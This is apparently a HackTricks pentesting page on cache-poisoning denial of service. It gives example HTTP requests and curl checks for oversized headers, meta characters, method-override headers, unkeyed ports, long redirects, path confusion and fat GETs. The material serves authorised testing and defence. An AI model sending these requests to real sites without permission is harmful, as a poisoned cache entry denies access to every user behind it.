// HackTricks · Web Pentesting

Cache Poisoning to DoS

Cache Poisoning to DoS

[!CAUTION] These techniques try to make the origin return an error, a blank body, or a broken redirect for a request that the cache still considers valid/cacheable. Once stored, the poisoned object can deny access to every user hitting the same cache key.

[!TIP] Confirm CPDoS with the lowest blast radius possible: send a baseline request, then the poisoning request, and finally a validation request without the malicious input. Compare status, body length, and cache headers such as X-Cache, CF-Cache-Status, Cache-Status, or Age. If possible, use a sacrificial endpoint or an unkeyed cache buster first.[2]

If the issue depends on path confusion, static extensions/directories, or other URL parser discrepancies, first check Cache Poisoning via URL discrepancies.

Quick verification flow

url='https://target.tld/app.js'

# 1) Baseline
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

# 2) Poison attempt
curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

# 3) Validation
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

Common cache poisoning-to-DoS primitives

HTTP Header Oversize (HHO)

Send a request with a header block that is accepted by the cache but rejected by the origin. If the resulting 4xx page is cached, later normal requests will get the cached error.

GET / HTTP/1.1
Host: redacted.com
X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000

This is especially interesting when the CDN/header limit is larger than the origin/framework limit.[1]

HTTP Meta Character (HMC) & unexpected values

Send control/meta characters such as \0, \b, \r, or \n, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus Content-Type.

GET / HTTP/1.1
Host: redacted.com
X-Metachar-Header: \0
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

A badly configured parser may also fail on values such as \:.[1]

Unkeyed header that triggers an error

Some backends return an error or denial page when they see specific headers, but the cache key doesn’t vary on that header.

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
X-Cache: hit

Invalid Header

Also test Forwarded, X-Forwarded-Host, X-Forwarded-Port, and application-specific routing headers when they influence redirects or origin routing.[2]

HTTP Method Override Attack (HMO)

If the application or middleware supports method override headers such as X-HTTP-Method-Override, X-HTTP-Method, or X-Method-Override, you may be able to transform a normal GET into an unsupported or body-less method at the origin while the cache still stores the response under the GET key.

GET /app.js HTTP/1.1
Host: redacted.com
X-HTTP-Method-Override: HEAD

HEAD, TRACE, PUT, DELETE, and POST are worth testing. HEAD is especially attractive because some stacks reply 200 OK with Content-Length: 0, effectively blanking the asset for everyone.[1]

Unkeyed Port

If the port in the Host header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:[2]

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
X-Cache: miss

Long Redirect DoS

If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into 414 URI Too Large, 431 Request Header Fields Too Large, or another error on the follow-up request.

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
CF-Cache-Status: HIT

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS

Host header case normalization

The Host header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case Host can poison the canonical cache bucket:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
X-Cache: miss

Not Found

Path normalization / static-rule confusion

Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (/assets/..., .css, .js, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com

HTTP/1.1 404 Not Found
X-Cache: miss

Not Found

For delimiter/static-extension/static-directory tricks, see Cache Poisoning via URL discrepancies.

Fat GET

Some caches/origins reject GET with a body, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean GET cache key.

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz

HTTP/2 403 Forbidden
X-Cache: hit

Framework / internal cache poisoning

Recent framework bugs showed that CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer. Internal framework caches or upstream CDNs may also store:

  • a 204 No Content response for a normally populated static/ISR page
  • a 200 OK response with Content-Length: 0
  • a response that was supposed to stay private, no-store but is coerced into s-maxage / stale-while-revalidate

In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in Cache-Control, body length, and shared-cache headers. If you are assessing a Next.js target, also check the Next.js page for framework-specific cache poisoning bugs.[3]

References